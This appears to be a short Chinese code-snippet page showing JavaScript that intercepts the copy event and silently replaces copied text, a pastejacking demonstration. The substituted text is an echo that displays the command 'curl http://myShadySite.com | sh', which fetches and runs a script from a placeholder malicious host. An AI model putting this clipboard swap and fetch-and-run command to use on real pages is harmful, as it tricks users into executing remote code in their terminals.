📜  替换复制粘贴终端 - 无论代码示例

📅  最后修改于: 2022-03-11 14:55:14.798000             🧑  作者: Mango

代码示例1
document.getElementById('copyme').addEventListener('copy', function(e) {
    e.clipboardData.setData('text/plain', 
        'echo "this could have been [curl http://myShadySite.com | sh]"\n'
    );
    e.preventDefault();
});